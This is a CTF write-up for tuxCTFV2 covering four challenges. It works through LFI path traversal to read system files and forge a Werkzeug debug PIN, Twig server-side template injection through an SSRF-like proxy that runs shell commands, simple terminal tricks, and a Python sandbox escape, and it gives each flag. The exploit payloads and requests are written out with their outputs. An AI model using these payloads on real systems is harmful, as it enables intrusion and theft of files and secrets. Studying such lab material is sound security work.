> For the complete documentation index, see [llms.txt](https://h0t.gitbook.io/h0t/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://h0t.gitbook.io/h0t/ctf/tuxctfv2.md).

# tuxCTFV2

## TuxGallery

to start the challenge, in a terminal run: `docker run -p 8000:8000 h0t0/tuxgallery:latest` then go to <http://localhost:8000/>. at the bottom of the page you can find `Visit The Tux Gallery`. if you click on any of the buttons on the left you can see the url changing, for example: `http://127.0.0.1:8000/gallery?file=img/tux3.jpg` it indicates that there is an lfi vulnerability! example payload: `http://127.0.0.1:8000/gallery?file=../../../../etc/passwd` but the challenge doesnt end here, if we check the website backend tech:

```sh
> whatweb http://localhost:8000/
http://localhost:8000/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.2.3 Python/3.7.17], IP[127.0.0.1], Python[3.7.17], Title[Tux Gallery], Werkzeug[2.2.3]
```

search for `werkzeug vulnerabilities` we can find : <https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug> in hacktricks:

```
Pin Protected - Path Traversal
In some occasions the 
/console endpoint is going to be protected by a pin. If you have a file traversal vulnerability, you can leak all the necessary info to generate that pin.
```

we go to <http://localhost:8000/console> ,indeed its protcted by a pin and we have lfi vulnerability. to get the pin: public bits:

```python
    'root',because its a docker, it runs on root
    'flask.app',#default
    'Flask', #default
    '/usr/local/lib/python3.7/site-packages/flask/app.py'# by python version and searching
```

private bits: <http://127.0.0.1:8000/gallery?file=../../../../proc/sys/kernel/random/boot_id> --> machine id <http://127.0.0.1:8000/gallery?file=../../../../sys/class/net/eth0/address> -->

```
#Example MAC address: 56:00:02:7a:23:ac
print(0x5600027a23ac)
```

\--> mac address \
\
put your values in the script in the site: each pin is different to each user, and on each run it changes, mine was: `891-324-969` the flag was supposed to be `tuxCTF{w$g1?_wH4t$_th@t?}`, but for bash problems it was changed to `tuxCTF{w?_wH4t@t?}`

***

## Chatbot

This challenge mocks a 'sofisticated' AI chatbot, so we enter the url and we are greeted by this page:

<figure><img src="/files/2DpVMldl1Jg8xdO5FWzH" alt=""><figcaption></figcaption></figure>

we enter a username and start chatting with the bot.

<figure><img src="/files/lgebuwmISxIJJsaUtUo2" alt=""><figcaption></figcaption></figure>

we can notice the responses are in json format.

in the page source we find a file called `script.js`  we notice that it gets the message by sending it to an api!

```javascript
async function requestApi() {
    const port = 3001;
    const path = "random-message";

    try {
        const response = await fetch('/api', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({ port: port , path: path})  
        });
```

so its sending it to another server on port 3001, we can go to `/api`  and try to send a request there.

this is not an ssrf but it acts like one, so we will use it to find if there is anyother server.

<figure><img src="/files/THKnbs8io9HW0ug84Q6w" alt=""><figcaption></figcaption></figure>

we can use burp intruder to brute-force the port:

<figure><img src="/files/2sPFpJWQp16svLwHGcXR" alt=""><figcaption></figcaption></figure>

response:

```json
{"message":"
        <!DOCTYPE html>
        <html>
        <head>
            <title>404 Not Found</title>
        </head>
        <body>
            <h1>404 Not Found</h1>
            <p>The page you requested could not be found.</p>
        </body>
        </html>
"}
```

we can notice in the original request was sent the path was `random-message` which indicates that the backend already added the slash for us!

request:&#x20;

```json
{"port": "8000", "path":""}
```

response:

```json
{"message":"
            <!DOCTYPE html>
            <html>
            <head>
                <title>Welcome</title>
            </head>
            <body>
                <h1>Hello!</h1>

                <p>To test a Twig template, go to <code>/render?t=your_expression_here</code></p>
                <p>Hint: Some expressions might need to be encoded or obfuscated to work correctly!</p>
                <p>ps: if you are not a memeber of the dev team please close this page.</p>
            </body>
            </html>
        

"}
```

twig is a template engine for php, in [hacktricks](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#twig-php) we can find alot of payloads to exploit it.

request:

```json
{"port": "8000", "path":"render?t={{['id']|filter('system')}}"}
```

response:

```json
{"message":"uid=1000(chatbot) gid=1000(chatbot) groups=1000(chatbot)\nArray\n\n"}
```

to get the flag:

request:

```json
{"port": "8000", "path":"render?t={{['cat flag.txt']|filter('system')}}"}
```

response:

```json
{"message":"tuxCTF{avG_l@mE_D3V}Array\n\n"}
```

the flag: `tuxCTF{avG_l@mE_D3V}`

***

## Terminal 1 & 2

in both you can list the directory usin dir, to solve the first one you will use more or less\
`more flag.txt`\
flag: `tuxCTF{LE$S_i$_m0r3}`\
\
in termianal 2 you can use nl (intended) or tac (not indented) \
`nl flag.txt`\
flag: `tuxCTF{n0_n3eD_foR_BIn@r1e5}`

***

## Pyjail

to access the challenge you have to use netcat:

<figure><img src="/files/agz5NPDBl1j3XsErqLhP" alt=""><figcaption></figcaption></figure>

pyjails are python sandboxes with restrictions, you have to find a way out to escape and achieve command execution.\
in python we can access other classes by going back to the root of the object,\
example payload:\
`().＿class＿.＿bases＿[0].＿subclasses＿()`\
if we enter it in the pyjail and enter exit it will execute.

<figure><img src="/files/DMa3y2esvPbYUfPaJW0f" alt=""><figcaption></figcaption></figure>

we get a list of all subclasses accessable, but only one of them is not blocked and useful, which is `<class '_frozen_importlib_external.FileLoader'>`.\
to find the subclass index you can use an ai tool do a python script or by sorting them in vim, for me it was number 100, index 99, `().＿class＿.＿bases＿[0].＿subclasses＿()[99]`<br>

<figure><img src="/files/jI1ELe0qohPrZvPVVsWu" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/q5TFCIOFNZaTdMNhTA2I" alt=""><figcaption></figcaption></figure>

payload to get the flag:&#x20;

```py
()._＿class_＿._＿bases_＿[0]._＿subclasses_＿()[99].get_data(".", ".env")
```

flag: `tuxCTF{yOU_woN7_35c@Pe_@g@iN}`

&#x20;Happy Pwning : )
